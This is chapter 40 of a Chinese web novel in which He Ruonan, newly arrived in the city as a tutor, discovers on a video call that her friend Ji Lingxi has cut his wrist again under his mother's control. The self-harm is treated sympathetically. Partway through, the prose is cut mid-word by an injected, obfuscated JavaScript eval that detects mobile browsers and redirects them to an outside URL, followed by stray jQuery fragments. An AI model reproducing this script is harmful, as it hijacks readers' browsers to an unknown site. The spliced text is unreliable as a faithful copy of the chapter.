40. 第 40 章
作品:《在宇宙中相撞》 魏成之他爸妈平时忙于工作,没什么时间管他。
这小孩儿倒也省心,凭着点智商优势,考上了市一中的初中部。
只是到了初中,光靠些小聪明是不够的,加上暑期在家没人看着,于是魏立鸣打算给儿子找个家教。
说是教些初中知识,其实更多的是看小孩儿。
走的时候,魏成之朝何若楠苦着一张脸拜托道:“要不你还是安顿一下吧?下周一等我爸妈上班再开始学也不迟。”
何若楠愣了愣,终于明白了过来,“那行,坐了大半天的车,确实有些累了。那就说好了,下周一见。”
新租的房子其实不小,两室一厅,一个人住足够了。
这里似乎有人前两天刚打扫过,很干净。
刚放下行李,就收到了魏成之的短信,“何老师,我姑说家里的东西随便用,床和被子你要是不介意就这么睡吧。还有电脑,没有密码的。”
何老师?
看到这个称谓的时候,何若楠一愣,继而生出一种为人师表的感觉。
还不错。
卧室里的床铺得很整齐,浅绿色的夏凉被方方正正叠好,摆在床上。
另一间是书房,靠墙满满一面书架,何若楠扫了一眼,几乎全是关于心理学的相关书籍。
书架前有一张书桌,上面放着一台电脑。
何若楠打开电脑,打开Q.Q,为数不多的好友列表里,那个深蓝色无边无际的天空的头像亮着。
季凌希?他怎么在线?
说起来,那天他明明一幅非要来送送自己的模样,结果今天早上并没有在县车站看到他。
走之前,何若楠给他发了条短信:我走啦。
可到现在,没有一条回信,也没有一通电话。
她有些生气,就算是普通同学,出于礼貌,总要回一条消息吧?
现在是下午三点,何若楠还猜想这人睡了一整天,结果只是忘了这茬儿,在上网呢。
也不知道那天是谁说的,想和我一块儿来市里。
何若楠愤愤拉开皮质的电脑椅坐下,缓缓打下两个字:本人?
对话框上心有灵犀四个字很快变成了“对方正在输入”,不一会儿,季凌希回了两个字:到了?
这么两个字两个字地聊,得聊到什么时候?
她犹豫着,拿起手机还是拨了过去。
可对面传来机械又冰冷的女音:您拨打的用户已关机。
何若楠放下手机,敲下一行字:你手机怎么关机了?
“嗯。”
只有一个简单的“嗯”字,什么也没解释。
是没电自动关机了?还是故意关机的?
何若楠这才察觉出不对劲来。
“你在哪儿?”
对方正在输入中……
可半晌,对话框没有消息发来,依旧停留在何若楠发出的“你在哪儿”。
“?季凌希?你人在哪儿?”
“说话啊。”
终于,回话了,“我不在家,有点事。”
心里直觉的不安越来越强烈,她点开视频通话,可迅速就被对面给挂断了。
“什么意思?你到底在哪儿?”
“在外面,不方便。”
何若楠不死心,继续点开视频通话。
她不记得自己点了多少遍,但每一遍,对方都很迅速挂断了。
事情变得愈发可疑起来。
季凌希发来了消息,“打字聊。”
尽管文字没有办法听到说话人的声音,可文字也能看得出人的喜怒哀乐,但何若楠就是从这几简单的几个字里,读不到一丁点的情绪。
记忆里的季凌希总是脸上带着淡淡的笑意,即使再不高兴,也会礼貌地回答你的问题。
他曾经说过,那不过是他的面具,面具下真实的他,没有人会喜欢。
所以真实的他是怎么样的呢?冷漠?没有感情?像一具冰冷的机器?
算算时间,两人不过三四天没有联系,怎么就变了个人似的呢?
如果之前都是伪装,那那些对自己的好,也会是伪装吗?因为要扮演一个讨人喜欢的人,因为要扮演一个完美的人。
何若楠不信。
总会有那么一两个瞬间,脸上的面具不小心松开,露出真实的底色。
比如他在知道了小洁的死讯后,会双眼红肿。
比如他在接到无声的陌生电话后,会关心地发来消息:“你在宿舍吗?”。
比如他会在何家宝打自己的时候,将自己护在身前。
比如他总是喜欢说些欠揍的话:
“何同学,作业借我抄一抄。”
“你看看,才这么一会儿就开始嫌我烦了。”
“何若楠,你没有瓶颈期吗?”
比如他在和凌老师吵架后,会摔门而去。
比如他扯开自己左手的腕带,将伤痕,赤裸裸地展示在自己眼前。
完美是他的面具,但他的底色不是冷漠,他会笑会闹,会难过会痛苦。
但唯独不该是冷漠的。
他一定是出了什么事。
何若楠想了想,回过去一句话,“季凌希,你还当我是朋友吗?”
对面发来一个问号。
“我最后再打一次,你要是不接,我现在就坐车回H县去你家找你。”
也不等季凌希回话,视频通话便拨了过去。
终于没有再挂断。
只是过了好久,对方终于接通了。
电脑画面里,两个人的背景形成了鲜明的对比。
季凌希那里一片昏暗,灰蒙蒙的背景,嘈杂的人声。
时不时传来敲击键盘和疯狂点击鼠标的声音。
他好像比最后一次见面时还要憔悴。
而何若楠这儿,阳光透过玻璃窗照进书房,亮堂堂的。
身后是整面的书柜。
“你终于接了。”
季凌希无奈地笑了笑,“你才刚到市里,总不能折腾你又返回来吧。”
他太清楚何若楠的性子了,说到,就一定会做到。
“算你有点良心。”
“你怎么在网吧?为什么不接我电话?手机呢?到底发生了什么?”
这人这时候还有心情笑,就这么盯着摄像头脸上露出了温和的笑意。
何若楠有些生气,“季凌希,我在问你呢?你有没有在听?”
这人都这时候了还有心情开玩笑,他学着何若楠回答道:“有。但是,问题太多了,让我想想先回答哪一个……”
“你……!”
网吧的电脑显示屏和键盘有些距离,就那么一个瞬间,何若楠突然看到了季凌希手上包的白色纱布。
“你手怎么了?”她表情凝重,一个她不愿意去猜的答案在脑海里浮现。
她在等季凌希的回答,她多希望等来的是不小心摔伤了,不小心划破了。
可是那是左手手腕的位置。
季凌希低下头,镜头里只能看到他有些杂乱的发顶。
一声无奈的叹息蔓延开来,“对不起啊,何若楠,承诺你的我没做到。”
“我已经在尽力控制了,可是一到晚上,灯一关,就好像有人在我脑子里不断蛊惑着我。”
“我觉得心里空荡荡的,不知道自己究竟是活着,还是只是一具躯壳。”
接着他停顿了好一会儿,轻笑一声,“应该是一具躯壳吧,里面有设定好的程序。早上起床后有固定的流程。洗手有固定的流程。早餐要有牛奶鸡蛋玉米,吃饭一定要一口菜一口肉一口饭,不能太快也不能太慢。不可以有真正喜欢的爱好,不可以有真正不喜欢的食物。上楼梯一定要右脚先跨,再跨左脚。说话要微笑回应,妈妈做的决定一定是为我好,不能反驳,反驳就是不懂事。我的一切妈妈都有权力知道,不可以有任何隐瞒。”
何若楠听他娓
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15881722|175689||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
娓道来,问道:“是你和凌老师吵架了吗?”
季凌希想了想,“也没怎么吵吧?我不敢,怕我妈老毛病犯了。”
那究竟是怎么发展到这样地步的?明明自从他们互相拉了勾后,他一直看起来都很好。
何若楠想到这儿,忽然一愣。
看起来很好。
只是看起来。
有些东西不是你许下了承诺,你下定了决心去克服,就能通过意志力解决的。
崩溃一点点累积,突然有一天,到了极点,连意志力也拦不住,就爆发了。
在外人看来,只是觉得奇怪,上一秒还好好的,下一秒这人怎么就疯了?
何若楠自从那次季凌希和凌老师吵架后,就知道了,崩溃的源头在父母日复一日的强加管控和约束。
她虽然在很长一段时间里,曾经与他们相处过,但她只是一个外人,没有办法切身体会季凌希的感受。
只要源头没有任何改变,过程中没有人疏导,再坚硬的石头最终都会在日复一日的冲刷下洞穿。
更何况,季凌希他不是坚硬的石头,他有着在世俗看来漂亮的外壳,里面却柔软到不堪一击。
有些事说开了,好像就变得不那么难开口,季凌希似乎打开了话匣子,在嘈杂的背景音中,他的声音透过冰冷的屏幕,传递过来。
“那次吵过之后,表面上和谐了很长一段时间。我大概心里一直有个疙瘩吧。离中考越近,意味着离她给我做好的决定越来越近。晚上睡不着,数着时间,有时候可以眼睁睁盯着天花板到天亮。”
“后来小洁出事后,这种症状更明显了。我总觉得是自己的无知和过分自负导致了这一切,如果那时候我对她的状态多在意点,如果那时候你提出她不对劲的时候在乎一点……”
何若楠咬着下唇听他说,眉头皱得很紧。
那时候他还安慰自己,不要将小洁的死归结于自己,可他却整宿整宿都在自责。
但她能理解他,小洁走后那段时间,她拼命学习,害怕自己一停下来,就要想起她。可是梦中却控制不住自己,常常醒来时,枕巾已经湿了大半。
她也花了好久的时间才慢慢走出来。
“你怎么不和我说……”何若楠轻声问,话没说完,又抿了抿嘴。
心事说出来总好过自己一个人强撑着,这些大道理谁不懂呢?可是就像自己梦到小洁心里难受却不会告诉季凌希一样,她担心负面的情绪会传递给对方,她不希望朋友受到自己的影响。
果不其然。
“我不想影响你的状态。快中考了,你必须要考出好成绩。何若楠,我知道这是你的梦想,也是你的承诺。”
他撩开前额的头发,脸上的表情似乎有些不好意思,“其实我后来想和你聊一聊的。但是考完之后,你家发生了那么多事……比起来,我这个算什么呢?”
说罢忽然想起了什么,猛地摆手,“你别想太多。那时候我给你打了那么多通电话,只是担心你爸出事后你情绪不好。”
“其实那天晚上和你聊过之后,我有好一些的。”
何若楠想起发成绩单那天,季凌希的头发有些长了,眼下青黑,似乎没睡好觉,原本干干净净的嘴唇边,冒起了一些青色的胡渣。
原来那时候,他就已经在崩溃的边缘。
可自己却什么都没察觉出来,还将心里的负面情绪一股脑倒给了他。
他说:何若楠,你如果想说,我随时都在的。
他说:何若楠,月亮一直都在。你不用去习惯黑暗,月亮一直都在。
即使在崩溃的临界点,他依旧愿意做照亮自己的月亮。
可当雨幕和乌云遮住了他的眼睛,谁来做他的月亮?
“啪嗒。”
一滴两滴三滴眼泪落在手背上。
画面中那人似乎听到了低微的啜泣声,惊讶地看了过来,表情有些慌乱。
“季凌希,手还疼吗?”